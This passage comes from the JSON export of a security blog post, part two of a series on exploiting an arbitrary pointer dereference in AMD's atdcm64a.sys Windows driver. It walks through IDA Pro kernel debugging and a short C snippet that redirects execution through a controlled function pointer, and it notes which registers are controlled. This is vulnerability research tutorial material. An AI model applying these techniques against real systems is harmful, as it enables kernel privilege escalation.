src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-38-1.png\" alt=\"\" width=\"593\" height=\"187\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-38-1.png 593w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-38-1-300x95.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-38-1-350x110.png 350w\" sizes=\"(max-width: 593px) 100vw, 593px\" \/><figcaption id=\"caption-attachment-3824\" class=\"wp-caption-text\">IDA Pro popup converting debug to loader segment<\/figcaption><\/figure>\n<\/div>\n<div><\/div>\n<div>Once it finishes, stop debugging by clicking the <strong>red stop button<\/strong> on the top. You can see IDA Pro deletes the debug segments but keeps the loader segments:<\/div>\n<div>\n<figure id=\"attachment_3825\" aria-describedby=\"caption-attachment-3825\" style=\"width: 496px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3825 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-39-1.png\" alt=\"\" width=\"496\" height=\"285\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-39-1.png 496w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-39-1-300x172.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-39-1-350x201.png 350w\" sizes=\"(max-width: 496px) 100vw, 496px\" \/><figcaption id=\"caption-attachment-3825\" class=\"wp-caption-text\">IDA Pro deleting debug segment<\/figcaption><\/figure>\n<\/div>\n<div>Once it finishes, we can see in the Functions tab a bunch of <strong>nt_xxx<\/strong> functions. These are the functions of the <strong>nt<\/strong>\u00a0(ntoskrnl.exe) module that is now a <strong>loader segment<\/strong>. Wait for IDA Pro to analyze it:<\/div>\n<div>\n<figure id=\"attachment_3826\" aria-describedby=\"caption-attachment-3826\" style=\"width: 576px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3826 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-40-1.png\" alt=\"\" width=\"576\" height=\"993\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-40-1.png 576w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-40-1-174x300.png 174w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-40-1-350x603.png 350w\" sizes=\"(max-width: 576px) 100vw, 576px\" \/><figcaption id=\"caption-attachment-3826\" class=\"wp-caption-text\">Ntoskrnl.exe functions are now available<\/figcaption><\/figure>\n<\/div>\n<div>\n<p><em>If you didn&#8217;t take a snpashot you will have to repeat the process everytime since IDA Pro will create another debugger nt segment at a different base address. With the snapshot, the base of your loader nt segment will always match with that of the debugger.<\/em><\/p>\n<\/div>\n<div>At this point we can select for example function <em>nt_IoGetAttachedDeviceReference<\/em> and we have the decompiled code (we will have to reverse again the functions by re-applying the proper function signatures and redefining the correct types for variables):<\/div>\n<div>\n<figure id=\"attachment_3827\" aria-describedby=\"caption-attachment-3827\" style=\"width: 1727px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3827 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1.png\" alt=\"\" width=\"1727\" height=\"761\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1.png 1727w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1-300x132.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1-1024x451.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1-768x338.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1-1536x677.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-41-1-350x154.png 350w\" sizes=\"(max-width: 1727px) 100vw, 1727px\" \/><figcaption id=\"caption-attachment-3827\" class=\"wp-caption-text\">Decompiled view of IoGetAttachedDeviceReference()<\/figcaption><\/figure>\n<\/div>\n<div>So now we can restart debugging the VM (I suggest you to <strong>uncheck<\/strong> the <strong>Autoload PDB files<\/strong> under <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">Debugger Options<\/code> in order to speed up the loading process). Let&#8217;s start placing a <strong>breakpoint<\/strong> at the beginning of the vulnerable path inside <em><strong>InnerIrpDeviceIoCtlHandler()<\/strong><\/em>:<\/div>\n<div>\n<figure id=\"attachment_3828\" aria-describedby=\"caption-attachment-3828\" style=\"width: 2006px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3828 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1.png\" alt=\"\" width=\"2006\" height=\"1008\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1.png 2006w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1-300x151.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1-1024x515.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1-768x386.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1-1536x772.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-42-1-350x176.png 350w\" sizes=\"(max-width: 2006px) 100vw, 2006px\" \/><figcaption id=\"caption-attachment-3828\" class=\"wp-caption-text\">Setting a breakpoint<\/figcaption><\/figure>\n<\/div>\n<div>At this point we can recompile and launch our PoC and press enter (I&#8217;ve placed a <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">getchar()<\/code> in the code in order to view the output of the program):<\/div>\n<div>\n<figure id=\"attachment_3829\" aria-describedby=\"caption-attachment-3829\" style=\"width: 731px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3829 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-43-1.png\" alt=\"\" width=\"731\" height=\"360\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-43-1.png 731w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-43-1-300x148.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-43-1-350x172.png 350w\" sizes=\"(max-width: 731px) 100vw, 731px\" \/><figcaption id=\"caption-attachment-3829\" class=\"wp-caption-text\">Output of the PoC<\/figcaption><\/figure>\n<\/div>\n<div>You will notice the breakpoint was hit in IDA Pro:<\/div>\n<div>\n<figure id=\"attachment_3830\" aria-describedby=\"caption-attachment-3830\" style=\"width: 1680px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3830 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1.png\" alt=\"\" width=\"1680\" height=\"726\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1.png 1680w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1-300x130.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1-1024x443.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1-768x332.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1-1536x664.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-44-1-350x151.png 350w\" sizes=\"(max-width: 1680px) 100vw, 1680px\" \/><figcaption id=\"caption-attachment-3830\" class=\"wp-caption-text\">Breakpoint hit in IDA PRO<\/figcaption><\/figure>\n<\/div>\n<div>At this point we can just <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">step into<\/code>\/ <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">step over<\/code>\/ <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">run to cursor<\/code> ( <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">f7<\/code>\/ <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">f8<\/code>\/ <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">f4<\/code>) until we reach the call to our arbitrary pointer inside <em><strong>IofCallDriver()<\/strong><\/em>. In my opinion, it may be really helpful to <strong>debug the pseudocode along with the runtime values of variables<\/strong>.<\/div>\n<div><\/div>\n<div>Here&#8217;s an example while debugging <em>callDriver()<\/em>:<\/div>\n<div>\n<figure id=\"attachment_3831\" aria-describedby=\"caption-attachment-3831\" style=\"width: 2164px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3831 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1.png\" alt=\"\" width=\"2164\" height=\"501\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1.png 2164w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1-300x69.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1-1024x237.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1-768x178.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1-1536x356.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1-2048x474.png 2048w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-45-1-350x81.png 350w\" sizes=\"(max-width: 2164px) 100vw, 2164px\" \/><figcaption id=\"caption-attachment-3831\" class=\"wp-caption-text\">View of IDA Pro with pseudocode and variables<\/figcaption><\/figure>\n<\/div>\n<div>After stepping into the debugger we eventually reach a call to <strong>_guard_dispatch_icall<\/strong> having in <strong>rax<\/strong> the value <strong>0xdeadbeef<\/strong>.<\/div>\n<\/div>\n<div><\/div>\n<div>\n<figure id=\"attachment_3832\" aria-describedby=\"caption-attachment-3832\" style=\"width: 2121px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3832 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1.png\" alt=\"\" width=\"2121\" height=\"606\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1.png 2121w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1-300x86.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1-1024x293.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1-768x219.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1-1536x439.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1-2048x585.png 2048w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-46-1-350x100.png 350w\" sizes=\"(max-width: 2121px) 100vw, 2121px\" \/><figcaption id=\"caption-attachment-3832\" class=\"wp-caption-text\">_guard_dispatch_icall()<\/figcaption><\/figure>\n<\/div>\n<div><\/div>\n<div>\n<div>\n<div>\n<div>If you keep stepping inside <em>_guard_dispatch_icall()<\/em> you will get a <strong>bug check error <\/strong>because 0xdeadbeef is not a valid kernel address.<\/div>\n<div>\n<p>Let&#8217;s try changing 0xdeadbeef with a <strong>real kernel address<\/strong>. In this case I took <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">nt!ZwFlushInstructionCache+0x14<\/code>.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<div><\/div>\n<div>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">[...]\r\n*((PDWORD64)pDriverFunction) = 0xFFFFF80025E14C04;\r\n[...]<\/pre>\n<div>\n<div>If you relaunch the updated PoC you will see you can reach a <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">jmp rax<\/code> inside <em>_guard_dispatch_icall<\/em> where <strong>rax<\/strong>\u00a0<strong>is our<\/strong> <strong>arbitrary function pointer<\/strong>, as you can see in the following screenshot (I suggest to <strong>remove the IDA Pro Pseudocode view<\/strong> when you are in routines such as <em>_guard_dispatch_icall<\/em> as IDA Pro will complain about not been able to create the pseudocode).<\/div>\n<div>\n<figure id=\"attachment_3834\" aria-describedby=\"caption-attachment-3834\" style=\"width: 2093px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"wp-image-3834 size-full\" src=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1.png\" alt=\"\" width=\"2093\" height=\"983\" srcset=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1.png 2093w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1-300x141.png 300w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1-1024x481.png 1024w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1-768x361.png 768w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1-1536x721.png 1536w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1-2048x962.png 2048w, https:\/\/hnsecurity.it\/wp-content\/uploads\/2024\/08\/image-48-1-350x164.png 350w\" sizes=\"(max-width: 2093px) 100vw, 2093px\" \/><figcaption id=\"caption-attachment-3834\" class=\"wp-caption-text\">jmp rax inside _guard_disaptch_icall()<\/figcaption><\/figure>\n<\/div>\n<\/div>\n<div>\n<div>\n<div>\n<p>It is important to <strong>check what registers we control<\/strong>. As we can see, we control <strong>RBX<\/strong>, <strong>RCX<\/strong>\u00a0and <strong>RDI<\/strong> by cross-checking the address values printed by our program. In fact we may notice that <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rbx<\/code> corresponds to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object+0x30<\/code>\/ <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">ptr<\/code>, while <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rcx<\/code>\u00a0and <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">rdi<\/code> corresponds to <code class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">object2+0x30<\/code>.<\/p>\n<\/div>\n<div>\n<p>At this point we know <strong>we can redirect execution to an arbitrary address<\/strong> and that we control registers <strong>RBX<\/strong>, <strong>RCX<\/strong> and <strong>RDI<\/strong>.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<h2>Wrapping up<\/h2>\n<p>In this second part of the <a href=\"https:\/\/hnsecurity.it\/tag\/atdcm64a\/\">series<\/a> we successfully confirmed both vulnerabilities by retrieving the base address of ntoskrnl.exe and hijacking the execution flow, annotating what the controlled registers are.<\/p>\n<p>In the <a href=\"https:\/\/hnsecurity.it\/exploiting-amd-atdcm64a.sys-arbitrary-pointer-dereference-part-3\/\">next and final part<\/a> we will finally <strong>exploit the vulnerabilities<\/strong> in order to achieve <strong>Local Privilege Escalation<\/strong>. Stay tuned!<\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Welcome back! We concluded the previous article by spotting two vulnerabilities in atdcm64a.sys: an arbitrary MSR read and an arbitrary [&hellip;]<\/p>\n","protected":false},"author":12,"featured_media":159895,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[78,81],"tags":[209,210,77,211,82,87,96,135,189,191],"class_list":["post-4091","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-exploits","category-vulnerabilities","tag-atdcm64a","tag-exploit-development","tag-exploit","tag-ida","tag-vulnerability-research","tag-reverse-engineering","tag-static-analysis","tag-windows","tag-tutorial","tag-red-teaming"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.2 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>HN Security Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 2<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\" \/>\n<meta property=\"og:locale\" content=\"it_IT\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"HN Security Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 2\" \/>\n<meta property=\"og:description\" content=\"Welcome back! We concluded the previous article by spotting two vulnerabilities in atdcm64a.sys: an arbitrary MSR read and an arbitrary [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\" \/>\n<meta property=\"og:site_name\" content=\"HN Security\" \/>\n<meta property=\"article:published_time\" content=\"2024-10-02T07:55:21+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-09-15T13:21:15+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1600\" \/>\n\t<meta property=\"og:image:height\" content=\"836\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Alessandro Iandoli\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hnsec\" \/>\n<meta name=\"twitter:site\" content=\"@hnsec\" \/>\n<meta name=\"twitter:label1\" content=\"Scritto da\" \/>\n\t<meta name=\"twitter:data1\" content=\"Alessandro Iandoli\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tempo di lettura stimato\" \/>\n\t<meta name=\"twitter:data2\" content=\"12 minuti\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\"},\"author\":{\"name\":\"Alessandro Iandoli\",\"@id\":\"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff\"},\"headline\":\"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 2\",\"datePublished\":\"2024-10-02T07:55:21+00:00\",\"dateModified\":\"2025-09-15T13:21:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\"},\"wordCount\":1967,\"publisher\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/#organization\"},\"image\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\",\"keywords\":[\"atdcm64a\",\"exploit development\",\"exploit\",\"ida\",\"vulnerability research\",\"reverse engineering\",\"static analysis\",\"windows\",\"Tutorial\",\"red teaming\"],\"articleSection\":[\"Exploits\",\"Vulnerabilities\"],\"inLanguage\":\"it-IT\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\",\"url\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\",\"name\":\"HN Security Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 2\",\"isPartOf\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\",\"datePublished\":\"2024-10-02T07:55:21+00:00\",\"dateModified\":\"2025-09-15T13:21:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#breadcrumb\"},\"inLanguage\":\"it-IT\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage\",\"url\":\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\",\"contentUrl\":\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg\",\"width\":1600,\"height\":836},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hnsecurity.it\/it\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 2\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hnsecurity.it\/it\/#website\",\"url\":\"https:\/\/hnsecurity.it\/it\/\",\"name\":\"HN Security\",\"description\":\"Offensive Security Specialists\",\"publisher\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hnsecurity.it\/it\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"it-IT\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hnsecurity.it\/it\/#organization\",\"name\":\"HN Security\",\"url\":\"https:\/\/hnsecurity.it\/it\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg\",\"contentUrl\":\"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg\",\"width\":696,\"height\":696,\"caption\":\"HN Security\"},\"image\":{\"@id\":\"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/x.com\/hnsec\",\"https:\/\/www.linkedin.com\/company\/hnsecurity\/\",\"https:\/\/github.com\/hnsecurity\",\"https:\/\/infosec.exchange\/@hnsec\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff\",\"name\":\"Alessandro Iandoli\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"it-IT\",\"@id\":\"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g\",\"caption\":\"Alessandro Iandoli\"},\"url\":\"https:\/\/hnsecurity.it\/it\/blog\/author\/ale98\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"HN Security Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 2","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/","og_locale":"it_IT","og_type":"article","og_title":"HN Security Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 2","og_description":"Welcome back! We concluded the previous article by spotting two vulnerabilities in atdcm64a.sys: an arbitrary MSR read and an arbitrary [&hellip;]","og_url":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/","og_site_name":"HN Security","article_published_time":"2024-10-02T07:55:21+00:00","article_modified_time":"2025-09-15T13:21:15+00:00","og_image":[{"width":1600,"height":836,"url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","type":"image\/jpeg"}],"author":"Alessandro Iandoli","twitter_card":"summary_large_image","twitter_creator":"@hnsec","twitter_site":"@hnsec","twitter_misc":{"Scritto da":"Alessandro Iandoli","Tempo di lettura stimato":"12 minuti"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#article","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/"},"author":{"name":"Alessandro Iandoli","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff"},"headline":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 2","datePublished":"2024-10-02T07:55:21+00:00","dateModified":"2025-09-15T13:21:15+00:00","mainEntityOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/"},"wordCount":1967,"publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","keywords":["atdcm64a","exploit development","exploit","ida","vulnerability research","reverse engineering","static analysis","windows","Tutorial","red teaming"],"articleSection":["Exploits","Vulnerabilities"],"inLanguage":"it-IT"},{"@type":"WebPage","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/","url":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/","name":"HN Security Exploiting AMD atdcm64a.sys arbitrary pointer dereference - Part 2","isPartOf":{"@id":"https:\/\/hnsecurity.it\/it\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage"},"thumbnailUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","datePublished":"2024-10-02T07:55:21+00:00","dateModified":"2025-09-15T13:21:15+00:00","breadcrumb":{"@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#breadcrumb"},"inLanguage":"it-IT","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/"]}]},{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#primaryimage","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","width":1600,"height":836},{"@type":"BreadcrumbList","@id":"https:\/\/hnsecurity.it\/it\/blog\/exploiting-amd-atdcm64a-sys-arbitrary-pointer-dereference-part-2\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hnsecurity.it\/it\/"},{"@type":"ListItem","position":2,"name":"Exploiting AMD atdcm64a.sys arbitrary pointer dereference &#8211; Part 2"}]},{"@type":"WebSite","@id":"https:\/\/hnsecurity.it\/it\/#website","url":"https:\/\/hnsecurity.it\/it\/","name":"HN Security","description":"Offensive Security 